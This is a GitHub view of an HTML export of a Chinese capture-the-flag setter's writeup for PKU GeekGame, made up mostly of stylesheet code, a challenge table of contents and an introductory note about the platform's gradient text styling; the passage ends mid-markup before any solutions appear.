-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathwp-xmcp.html
653 lines (609 loc) · 244 KB
/
wp-xmcp.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
<!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<title>wp-xmcp</title><link href='https://fonts.loli.net/css?family=Open+Sans:400italic,700italic,700,400&subset=latin,latin-ext' rel='stylesheet' type='text/css' /><style type='text/css'>html {overflow-x: initial !important;}:root { --bg-color:#ffffff; --text-color:#333333; --select-text-bg-color:#B5D6FC; --select-text-font-color:auto; --monospace:"Lucida Console",Consolas,"Courier",monospace; --title-bar-height:20px; }
.mac-os-11 { --title-bar-height:28px; }
html { font-size: 14px; background-color: var(--bg-color); color: var(--text-color); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased; }
body { margin: 0px; padding: 0px; height: auto; bottom: 0px; top: 0px; left: 0px; right: 0px; font-size: 1rem; line-height: 1.42857; overflow-x: hidden; background: inherit; tab-size: 4; }
iframe { margin: auto; }
a.url { word-break: break-all; }
a:active, a:hover { outline: 0px; }
.in-text-selection, ::selection { text-shadow: none; background: var(--select-text-bg-color); color: var(--select-text-font-color); }
#write { margin: 0px auto; height: auto; width: inherit; word-break: normal; overflow-wrap: break-word; position: relative; white-space: normal; overflow-x: visible; padding-top: 36px; }
#write.first-line-indent p { text-indent: 2em; }
#write.first-line-indent li p, #write.first-line-indent p * { text-indent: 0px; }
#write.first-line-indent li { margin-left: 2em; }
.for-image #write { padding-left: 8px; padding-right: 8px; }
body.typora-export { padding-left: 30px; padding-right: 30px; }
.typora-export .footnote-line, .typora-export li, .typora-export p { white-space: pre-wrap; }
.typora-export .task-list-item input { pointer-events: none; }
@media screen and (max-width: 500px) {
body.typora-export { padding-left: 0px; padding-right: 0px; }
#write { padding-left: 20px; padding-right: 20px; }
.CodeMirror-sizer { margin-left: 0px !important; }
.CodeMirror-gutters { display: none !important; }
}
#write li > figure:last-child { margin-bottom: 0.5rem; }
#write ol, #write ul { position: relative; }
img { max-width: 100%; vertical-align: middle; image-orientation: from-image; }
button, input, select, textarea { color: inherit; font: inherit; }
input[type="checkbox"], input[type="radio"] { line-height: normal; padding: 0px; }
*, ::after, ::before { box-sizing: border-box; }
#write h1, #write h2, #write h3, #write h4, #write h5, #write h6, #write p, #write pre { width: inherit; }
#write h1, #write h2, #write h3, #write h4, #write h5, #write h6, #write p { position: relative; }
p { line-height: inherit; }
h1, h2, h3, h4, h5, h6 { break-after: avoid-page; break-inside: avoid; orphans: 4; }
p { orphans: 4; }
h1 { font-size: 2rem; }
h2 { font-size: 1.8rem; }
h3 { font-size: 1.6rem; }
h4 { font-size: 1.4rem; }
h5 { font-size: 1.2rem; }
h6 { font-size: 1rem; }
.md-math-block, .md-rawblock, h1, h2, h3, h4, h5, h6, p { margin-top: 1rem; margin-bottom: 1rem; }
.hidden { display: none; }
.md-blockmeta { color: rgb(204, 204, 204); font-weight: 700; font-style: italic; }
a { cursor: pointer; }
sup.md-footnote { padding: 2px 4px; background-color: rgba(238, 238, 238, 0.7); color: rgb(85, 85, 85); border-radius: 4px; cursor: pointer; }
sup.md-footnote a, sup.md-footnote a:hover { color: inherit; text-transform: inherit; text-decoration: inherit; }
#write input[type="checkbox"] { cursor: pointer; width: inherit; height: inherit; }
figure { overflow-x: auto; margin: 1.2em 0px; max-width: calc(100% + 16px); padding: 0px; }
figure > table { margin: 0px; }
tr { break-inside: avoid; break-after: auto; }
thead { display: table-header-group; }
table { border-collapse: collapse; border-spacing: 0px; width: 100%; overflow: auto; break-inside: auto; text-align: left; }
table.md-table td { min-width: 32px; }
.CodeMirror-gutters { border-right: 0px; background-color: inherit; }
.CodeMirror-linenumber { user-select: none; }
.CodeMirror { text-align: left; }
.CodeMirror-placeholder { opacity: 0.3; }
.CodeMirror pre { padding: 0px 4px; }
.CodeMirror-lines { padding: 0px; }
div.hr:focus { cursor: none; }
#write pre { white-space: pre-wrap; }
#write.fences-no-line-wrapping pre { white-space: pre; }
#write pre.ty-contain-cm { white-space: normal; }
.CodeMirror-gutters { margin-right: 4px; }
.md-fences { font-size: 0.9rem; display: block; break-inside: avoid; text-align: left; overflow: visible; white-space: pre; background: inherit; position: relative !important; }
.md-diagram-panel { width: 100%; margin-top: 10px; text-align: center; padding-top: 0px; padding-bottom: 8px; overflow-x: auto; }
#write .md-fences.mock-cm { white-space: pre-wrap; }
.md-fences.md-fences-with-lineno { padding-left: 0px; }
#write.fences-no-line-wrapping .md-fences.mock-cm { white-space: pre; overflow-x: auto; }
.md-fences.mock-cm.md-fences-with-lineno { padding-left: 8px; }
.CodeMirror-line, twitterwidget { break-inside: avoid; }
.footnotes { opacity: 0.8; font-size: 0.9rem; margin-top: 1em; margin-bottom: 1em; }
.footnotes + .footnotes { margin-top: 0px; }
.md-reset { margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; background: 0px 0px; text-decoration: none; text-shadow: none; float: none; position: static; width: auto; height: auto; white-space: nowrap; cursor: inherit; -webkit-tap-highlight-color: transparent; line-height: normal; font-weight: 400; text-align: left; box-sizing: content-box; direction: ltr; }
li div { padding-top: 0px; }
blockquote { margin: 1rem 0px; }
li .mathjax-block, li p { margin: 0.5rem 0px; }
li blockquote { margin: 1rem 0px; }
li { margin: 0px; position: relative; }
blockquote > :last-child { margin-bottom: 0px; }
blockquote > :first-child, li > :first-child { margin-top: 0px; }
.footnotes-area { color: rgb(136, 136, 136); margin-top: 0.714rem; padding-bottom: 0.143rem; white-space: normal; }
#write .footnote-line { white-space: pre-wrap; }
@media print {
body, html { border: 1px solid transparent; height: 99%; break-after: avoid; break-before: avoid; font-variant-ligatures: no-common-ligatures; }
#write { margin-top: 0px; padding-top: 0px; border-color: transparent !important; }
.typora-export * { -webkit-print-color-adjust: exact; }
.typora-export #write { break-after: avoid; }
.typora-export #write::after { height: 0px; }
.is-mac table { break-inside: avoid; }
}
.footnote-line { margin-top: 0.714em; font-size: 0.7em; }
a img, img a { cursor: pointer; }
pre.md-meta-block { font-size: 0.8rem; min-height: 0.8rem; white-space: pre-wrap; background: rgb(204, 204, 204); display: block; overflow-x: hidden; }
p > .md-image:only-child:not(.md-img-error) img, p > img:only-child { display: block; margin: auto; }
#write.first-line-indent p > .md-image:only-child:not(.md-img-error) img { left: -2em; position: relative; }
p > .md-image:only-child { display: inline-block; width: 100%; }
#write .MathJax_Display { margin: 0.8em 0px 0px; }
.md-math-block { width: 100%; }
.md-math-block:not(:empty)::after { display: none; }
.MathJax_ref { fill: currentcolor; }
[contenteditable="true"]:active, [contenteditable="true"]:focus, [contenteditable="false"]:active, [contenteditable="false"]:focus { outline: 0px; box-shadow: none; }
.md-task-list-item { position: relative; list-style-type: none; }
.task-list-item.md-task-list-item { padding-left: 0px; }
.md-task-list-item > input { position: absolute; top: 0px; left: 0px; margin-left: -1.2em; margin-top: calc(1em - 10px); border: none; }
.math { font-size: 1rem; }
.md-toc { min-height: 3.58rem; position: relative; font-size: 0.9rem; border-radius: 10px; }
.md-toc-content { position: relative; margin-left: 0px; }
.md-toc-content::after, .md-toc::after { display: none; }
.md-toc-item { display: block; color: rgb(65, 131, 196); }
.md-toc-item a { text-decoration: none; }
.md-toc-inner:hover { text-decoration: underline; }
.md-toc-inner { display: inline-block; cursor: pointer; }
.md-toc-h1 .md-toc-inner { margin-left: 0px; font-weight: 700; }
.md-toc-h2 .md-toc-inner { margin-left: 2em; }
.md-toc-h3 .md-toc-inner { margin-left: 4em; }
.md-toc-h4 .md-toc-inner { margin-left: 6em; }
.md-toc-h5 .md-toc-inner { margin-left: 8em; }
.md-toc-h6 .md-toc-inner { margin-left: 10em; }
@media screen and (max-width: 48em) {
.md-toc-h3 .md-toc-inner { margin-left: 3.5em; }
.md-toc-h4 .md-toc-inner { margin-left: 5em; }
.md-toc-h5 .md-toc-inner { margin-left: 6.5em; }
.md-toc-h6 .md-toc-inner { margin-left: 8em; }
}
a.md-toc-inner { font-size: inherit; font-style: inherit; font-weight: inherit; line-height: inherit; }
.footnote-line a:not(.reversefootnote) { color: inherit; }
.md-attr { display: none; }
.md-fn-count::after { content: "."; }
code, pre, samp, tt { font-family: var(--monospace); }
kbd { margin: 0px 0.1em; padding: 0.1em 0.6em; font-size: 0.8em; color: rgb(36, 39, 41); background: rgb(255, 255, 255); border: 1px solid rgb(173, 179, 185); border-radius: 3px; box-shadow: rgba(12, 13, 14, 0.2) 0px 1px 0px, rgb(255, 255, 255) 0px 0px 0px 2px inset; white-space: nowrap; vertical-align: middle; }
.md-comment { color: rgb(162, 127, 3); opacity: 0.8; font-family: var(--monospace); }
code { text-align: left; vertical-align: initial; }
a.md-print-anchor { white-space: pre !important; border-width: initial !important; border-style: none !important; border-color: initial !important; display: inline-block !important; position: absolute !important; width: 1px !important; right: 0px !important; outline: 0px !important; background: 0px 0px !important; text-decoration: initial !important; text-shadow: initial !important; }
.md-inline-math .MathJax_SVG .noError { display: none !important; }
.html-for-mac .inline-math-svg .MathJax_SVG { vertical-align: 0.2px; }
.md-math-block .MathJax_SVG_Display { text-align: center; margin: 0px; position: relative; text-indent: 0px; max-width: none; max-height: none; min-height: 0px; min-width: 100%; width: auto; overflow-y: hidden; display: block !important; }
.MathJax_SVG_Display, .md-inline-math .MathJax_SVG_Display { width: auto; margin: inherit; display: inline-block !important; }
.MathJax_SVG .MJX-monospace { font-family: var(--monospace); }
.MathJax_SVG .MJX-sans-serif { font-family: sans-serif; }
.MathJax_SVG { display: inline; font-style: normal; font-weight: 400; line-height: normal; zoom: 90%; text-indent: 0px; text-align: left; text-transform: none; letter-spacing: normal; word-spacing: normal; overflow-wrap: normal; white-space: nowrap; float: none; direction: ltr; max-width: none; max-height: none; min-width: 0px; min-height: 0px; border: 0px; padding: 0px; margin: 0px; }
.MathJax_SVG * { transition: none 0s ease 0s; }
.MathJax_SVG_Display svg { vertical-align: middle !important; margin-bottom: 0px !important; margin-top: 0px !important; }
.os-windows.monocolor-emoji .md-emoji { font-family: "Segoe UI Symbol", sans-serif; }
.md-diagram-panel > svg { max-width: 100%; }
[lang="flow"] svg, [lang="mermaid"] svg { max-width: 100%; height: auto; }
[lang="mermaid"] .node text { font-size: 1rem; }
table tr th { border-bottom: 0px; }
video { max-width: 100%; display: block; margin: 0px auto; }
iframe { max-width: 100%; width: 100%; border: none; }
.highlight td, .highlight tr { border: 0px; }
mark { background: rgb(255, 255, 0); color: rgb(0, 0, 0); }
.md-html-inline .md-plain, .md-html-inline strong, mark .md-inline-math, mark strong { color: inherit; }
mark .md-meta { color: rgb(0, 0, 0); opacity: 0.3 !important; }
@media print {
.typora-export h1, .typora-export h2, .typora-export h3, .typora-export h4, .typora-export h5, .typora-export h6 { break-inside: avoid; }
}
.md-diagram-panel .messageText { stroke: none !important; }
.md-diagram-panel .start-state { fill: var(--node-fill); }
.md-diagram-panel .edgeLabel rect { opacity: 1 !important; }
.md-require-zoom-fix foreignobject { font-size: var(--mermaid-font-zoom); }
.CodeMirror { height: auto; }
.CodeMirror.cm-s-inner { background: inherit; }
.CodeMirror-scroll { overflow: auto hidden; z-index: 3; }
.CodeMirror-gutter-filler, .CodeMirror-scrollbar-filler { background-color: rgb(255, 255, 255); }
.CodeMirror-gutters { border-right: 1px solid rgb(221, 221, 221); background: inherit; white-space: nowrap; }
.CodeMirror-linenumber { padding: 0px 3px 0px 5px; text-align: right; color: rgb(153, 153, 153); }
.cm-s-inner .cm-keyword { color: rgb(119, 0, 136); }
.cm-s-inner .cm-atom, .cm-s-inner.cm-atom { color: rgb(34, 17, 153); }
.cm-s-inner .cm-number { color: rgb(17, 102, 68); }
.cm-s-inner .cm-def { color: rgb(0, 0, 255); }
.cm-s-inner .cm-variable { color: rgb(0, 0, 0); }
.cm-s-inner .cm-variable-2 { color: rgb(0, 85, 170); }
.cm-s-inner .cm-variable-3 { color: rgb(0, 136, 85); }
.cm-s-inner .cm-string { color: rgb(170, 17, 17); }
.cm-s-inner .cm-property { color: rgb(0, 0, 0); }
.cm-s-inner .cm-operator { color: rgb(152, 26, 26); }
.cm-s-inner .cm-comment, .cm-s-inner.cm-comment { color: rgb(170, 85, 0); }
.cm-s-inner .cm-string-2 { color: rgb(255, 85, 0); }
.cm-s-inner .cm-meta { color: rgb(85, 85, 85); }
.cm-s-inner .cm-qualifier { color: rgb(85, 85, 85); }
.cm-s-inner .cm-builtin { color: rgb(51, 0, 170); }
.cm-s-inner .cm-bracket { color: rgb(153, 153, 119); }
.cm-s-inner .cm-tag { color: rgb(17, 119, 0); }
.cm-s-inner .cm-attribute { color: rgb(0, 0, 204); }
.cm-s-inner .cm-header, .cm-s-inner.cm-header { color: rgb(0, 0, 255); }
.cm-s-inner .cm-quote, .cm-s-inner.cm-quote { color: rgb(0, 153, 0); }
.cm-s-inner .cm-hr, .cm-s-inner.cm-hr { color: rgb(153, 153, 153); }
.cm-s-inner .cm-link, .cm-s-inner.cm-link { color: rgb(0, 0, 204); }
.cm-negative { color: rgb(221, 68, 68); }
.cm-positive { color: rgb(34, 153, 34); }
.cm-header, .cm-strong { font-weight: 700; }
.cm-del { text-decoration: line-through; }
.cm-em { font-style: italic; }
.cm-link { text-decoration: underline; }
.cm-error { color: red; }
.cm-invalidchar { color: red; }
.cm-constant { color: rgb(38, 139, 210); }
.cm-defined { color: rgb(181, 137, 0); }
div.CodeMirror span.CodeMirror-matchingbracket { color: rgb(0, 255, 0); }
div.CodeMirror span.CodeMirror-nonmatchingbracket { color: rgb(255, 34, 34); }
.cm-s-inner .CodeMirror-activeline-background { background: inherit; }
.CodeMirror { position: relative; overflow: hidden; }
.CodeMirror-scroll { height: 100%; outline: 0px; position: relative; box-sizing: content-box; background: inherit; }
.CodeMirror-sizer { position: relative; }
.CodeMirror-gutter-filler, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-vscrollbar { position: absolute; z-index: 6; display: none; }
.CodeMirror-vscrollbar { right: 0px; top: 0px; overflow: hidden; }
.CodeMirror-hscrollbar { bottom: 0px; left: 0px; overflow: hidden; }
.CodeMirror-scrollbar-filler { right: 0px; bottom: 0px; }
.CodeMirror-gutter-filler { left: 0px; bottom: 0px; }
.CodeMirror-gutters { position: absolute; left: 0px; top: 0px; padding-bottom: 30px; z-index: 3; }
.CodeMirror-gutter { white-space: normal; height: 100%; box-sizing: content-box; padding-bottom: 30px; margin-bottom: -32px; display: inline-block; }
.CodeMirror-gutter-wrapper { position: absolute; z-index: 4; background: 0px 0px !important; border: none !important; }
.CodeMirror-gutter-background { position: absolute; top: 0px; bottom: 0px; z-index: 4; }
.CodeMirror-gutter-elt { position: absolute; cursor: default; z-index: 4; }
.CodeMirror-lines { cursor: text; }
.CodeMirror pre { border-radius: 0px; border-width: 0px; background: 0px 0px; font-family: inherit; font-size: inherit; margin: 0px; white-space: pre; overflow-wrap: normal; color: inherit; z-index: 2; position: relative; overflow: visible; }
.CodeMirror-wrap pre { overflow-wrap: break-word; white-space: pre-wrap; word-break: normal; }
.CodeMirror-code pre { border-right: 30px solid transparent; width: fit-content; }
.CodeMirror-wrap .CodeMirror-code pre { border-right: none; width: auto; }
.CodeMirror-linebackground { position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 0; }
.CodeMirror-linewidget { position: relative; z-index: 2; overflow: auto; }
.CodeMirror-wrap .CodeMirror-scroll { overflow-x: hidden; }
.CodeMirror-measure { position: absolute; width: 100%; height: 0px; overflow: hidden; visibility: hidden; }
.CodeMirror-measure pre { position: static; }
.CodeMirror div.CodeMirror-cursor { position: absolute; visibility: hidden; border-right: none; width: 0px; }
.CodeMirror div.CodeMirror-cursor { visibility: hidden; }
.CodeMirror-focused div.CodeMirror-cursor { visibility: inherit; }
.cm-searching { background: rgba(255, 255, 0, 0.4); }
@media print {
.CodeMirror div.CodeMirror-cursor { visibility: hidden; }
}
:root {
--side-bar-bg-color: #fafafa;
--control-text-color: #777;
}
@include-when-export url(https://fonts.loli.net/css?family=Open+Sans:400italic,700italic,700,400&subset=latin,latin-ext);
/* open-sans-regular - latin-ext_latin */
/* open-sans-italic - latin-ext_latin */
/* open-sans-700 - latin-ext_latin */
/* open-sans-700italic - latin-ext_latin */
html {
font-size: 16px;
}
body {
font-family: "Open Sans","Clear Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
color: rgb(51, 51, 51);
line-height: 1.6;
}
#write {
max-width: 860px;
margin: 0 auto;
padding: 30px;
padding-bottom: 100px;
}
@media only screen and (min-width: 1400px) {
#write {
max-width: 1024px;
}
}
@media only screen and (min-width: 1800px) {
#write {
max-width: 1200px;
}
}
#write > ul:first-child,
#write > ol:first-child{
margin-top: 30px;
}
a {
color: #4183C4;
}
h1,
h2,
h3,
h4,
h5,
h6 {
position: relative;
margin-top: 1rem;
margin-bottom: 1rem;
font-weight: bold;
line-height: 1.4;
cursor: text;
}
h1:hover a.anchor,
h2:hover a.anchor,
h3:hover a.anchor,
h4:hover a.anchor,
h5:hover a.anchor,
h6:hover a.anchor {
text-decoration: none;
}
h1 tt,
h1 code {
font-size: inherit;
}
h2 tt,
h2 code {
font-size: inherit;
}
h3 tt,
h3 code {
font-size: inherit;
}
h4 tt,
h4 code {
font-size: inherit;
}
h5 tt,
h5 code {
font-size: inherit;
}
h6 tt,
h6 code {
font-size: inherit;
}
h1 {
font-size: 2.25em;
line-height: 1.2;
border-bottom: 1px solid #eee;
}
h2 {
font-size: 1.75em;
line-height: 1.225;
border-bottom: 1px solid #eee;
}
/*@media print {
.typora-export h1,
.typora-export h2 {
border-bottom: none;
padding-bottom: initial;
}
.typora-export h1::after,
.typora-export h2::after {
content: "";
display: block;
height: 100px;
margin-top: -96px;
border-top: 1px solid #eee;
}
}*/
h3 {
font-size: 1.5em;
line-height: 1.43;
}
h4 {
font-size: 1.25em;
}
h5 {
font-size: 1em;
}
h6 {
font-size: 1em;
color: #777;
}
p,
blockquote,
ul,
ol,
dl,
table{
margin: 0.8em 0;
}
li>ol,
li>ul {
margin: 0 0;
}
hr {
height: 2px;
padding: 0;
margin: 16px 0;
background-color: #e7e7e7;
border: 0 none;
overflow: hidden;
box-sizing: content-box;
}
li p.first {
display: inline-block;
}
ul,
ol {
padding-left: 30px;
}
ul:first-child,
ol:first-child {
margin-top: 0;
}
ul:last-child,
ol:last-child {
margin-bottom: 0;
}
blockquote {
border-left: 4px solid #dfe2e5;
padding: 0 15px;
color: #777777;
}
blockquote blockquote {
padding-right: 0;
}
table {
padding: 0;
word-break: initial;
}
table tr {
border-top: 1px solid #dfe2e5;
margin: 0;
padding: 0;
}
table tr:nth-child(2n),
thead {
background-color: #f8f8f8;
}
table th {
font-weight: bold;
border: 1px solid #dfe2e5;
border-bottom: 0;
margin: 0;
padding: 6px 13px;
}
table td {
border: 1px solid #dfe2e5;
margin: 0;
padding: 6px 13px;
}
table th:first-child,
table td:first-child {
margin-top: 0;
}
table th:last-child,
table td:last-child {
margin-bottom: 0;
}
.CodeMirror-lines {
padding-left: 4px;
}
.code-tooltip {
box-shadow: 0 1px 1px 0 rgba(0,28,36,.3);
border-top: 1px solid #eef2f2;
}
.md-fences,
code,
tt {
border: 1px solid #e7eaed;
background-color: #f8f8f8;
border-radius: 3px;
padding: 0;
padding: 2px 4px 0px 4px;
font-size: 0.9em;
}
code {
background-color: #f3f4f4;
padding: 0 2px 0 2px;
}
.md-fences {
margin-bottom: 15px;
margin-top: 15px;
padding-top: 8px;
padding-bottom: 6px;
}
.md-task-list-item > input {
margin-left: -1.3em;
}
@media print {
html {
font-size: 13px;
}
table,
pre {
page-break-inside: avoid;
}
pre {
word-wrap: break-word;
}
}
.md-fences {
background-color: #f8f8f8;
}
#write pre.md-meta-block {
padding: 1rem;
font-size: 85%;
line-height: 1.45;
background-color: #f7f7f7;
border: 0;
border-radius: 3px;
color: #777777;
margin-top: 0 !important;
}
.mathjax-block>.code-tooltip {
bottom: .375rem;
}
.md-mathjax-midline {
background: #fafafa;
}
#write>h3.md-focus:before{
left: -1.5625rem;
top: .375rem;
}
#write>h4.md-focus:before{
left: -1.5625rem;
top: .285714286rem;
}
#write>h5.md-focus:before{
left: -1.5625rem;
top: .285714286rem;
}
#write>h6.md-focus:before{
left: -1.5625rem;
top: .285714286rem;
}
.md-image>.md-meta {
/*border: 1px solid #ddd;*/
border-radius: 3px;
padding: 2px 0px 0px 4px;
font-size: 0.9em;
color: inherit;
}
.md-tag {
color: #a7a7a7;
opacity: 1;
}
.md-toc {
margin-top:20px;
padding-bottom:20px;
}
.sidebar-tabs {
border-bottom: none;
}
#typora-quick-open {
border: 1px solid #ddd;
background-color: #f8f8f8;
}
#typora-quick-open-item {
background-color: #FAFAFA;
border-color: #FEFEFE #e5e5e5 #e5e5e5 #eee;
border-style: solid;
border-width: 1px;
}
/** focus mode */
.on-focus-mode blockquote {
border-left-color: rgba(85, 85, 85, 0.12);
}
header, .context-menu, .megamenu-content, footer{
font-family: "Segoe UI", "Arial", sans-serif;
}
.file-node-content:hover .file-node-icon,
.file-node-content:hover .file-node-open-state{
visibility: visible;
}
.mac-seamless-mode #typora-sidebar {
background-color: #fafafa;
background-color: var(--side-bar-bg-color);
}
.md-lang {
color: #b4654d;
}
.html-for-mac .context-menu {
--item-hover-bg-color: #E6F0FE;
}
#md-notification .btn {
border: 0;
}
.dropdown-menu .divider {
border-color: #e5e5e5;
}
.ty-preferences .window-content {
background-color: #fafafa;
}
.ty-preferences .nav-group-item.active {
color: white;
background: #999;
}
:root {--mermaid-font-zoom:1.25em ;}
</style>
</head>
<body class='typora-export os-windows'>
<div id='write' class=''><p><strong><span>FROM: 肖元安 </span><span><</span><span>xmcp at pku.edu.cn></span></strong>
<strong><span>TO: You</span></strong>
<strong><span>TITLE: PKU Geek Game Genesis Writeup</span></strong></p><style>
img {
max-height: 30em;
max-width: 80%;
box-shadow: 0 1px 0.5em rgba(0, 0, 0, .25);
}
body {
background-color: #f3f3f3;
}
#write {
max-width: 900px !important;
box-shadow: 0 0 2em rgba(0, 0, 0, .15);
background-color: white;
}
iframe {
width: unset;
}
.wyy-player {
height: 86px;
max-width: 400px;
width: 100%;
}
#write p {
margin: 1em 0;
}
</style><p> </p><div class='md-toc' mdtype='toc'><p class="md-toc-content" role="list"><span role="listitem" class="md-toc-item md-toc-h1" data-ref="n8"><a class="md-toc-inner" href="#命题-writeup">命题 Writeup</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n14"><a class="md-toc-inner" href="#→签到←misc）">→签到←（Misc）</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n33"><a class="md-toc-inner" href="#小北问答-1202misc）">小北问答 1202（Misc）</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n88"><a class="md-toc-inner" href="#与佛论禅网大会员misc）">与佛论禅网大会员（Misc）</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n118"><a class="md-toc-inner" href="#人生苦短web）">人生苦短（Web）</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n137"><a class="md-toc-inner" href="#千年讲堂的方形轮子web）">千年讲堂的方形轮子（Web）</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n174"><a class="md-toc-inner" href="#无法预料的问答algorithm）">无法预料的问答（Algorithm）</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n186"><a class="md-toc-inner" href="#计算概论balgorithm）">计算概论B（Algorithm）</a></span><span role="listitem" class="md-toc-item md-toc-h1" data-ref="n205"><a class="md-toc-inner" href="#验题-writeup">验题 Writeup</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n208"><a class="md-toc-inner" href="#2038-年的银行misc）">2038 年的银行（Misc）</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n216"><a class="md-toc-inner" href="#未来的机器binary）">未来的机器（Binary）</a></span><span role="listitem" class="md-toc-item md-toc-h2" data-ref="n232"><a class="md-toc-inner" href="#庄子的回文binary）">庄子的回文（Binary）</a></span></p></div><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" class="wyy-player" src="https://music.163.com/outchain/player?type=2&id=1834949967&auto=0&height=66"></iframe><p><span>↑ 比赛这周我单循了好几天这首歌</span></p><p> </p><h1><a name="命题-writeup" class="md-header-anchor"></a><span>命题 Writeup</span></h1><p><span>很荣幸为本次比赛出了 7 道题。签到题以及 6 个题目描述里带 You 酱的题是我出的。</span></p><p><span>作为命题人写的 Writeup，除了预期解法以外，还会简单说说命题背景和赛场上的一些情况。</span></p><p><span>顺便不知道大家有没有发现，平台的题目描述里所有 “You” 字样都不是纯黑色的，而是渐变的深绿色的。具体来说，是这个格式：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="css"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="css"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-qualifier">.you-name</span> {</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-property">background</span>: <span class="cm-atom">linear-gradient</span>(<span class="cm-number">0deg</span>, <span class="cm-atom">#26791c</span>, <span class="cm-atom">#1d1d1d</span>, <span class="cm-atom">#1d1d1d</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-property">text-shadow</span>: <span class="cm-number">0</span> <span class="cm-number">0</span> <span class="cm-number">1px</span> <span class="cm-atom">rgb</span>(<span class="cm-number">21</span> <span class="cm-number">66</span> <span class="cm-number">14</span> / <span class="cm-number">40%</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-property cm-error">text-fill-color</span>: <span class="cm-atom">transparent</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-property">background-clip</span>: <span class="cm-atom">text</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">}</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 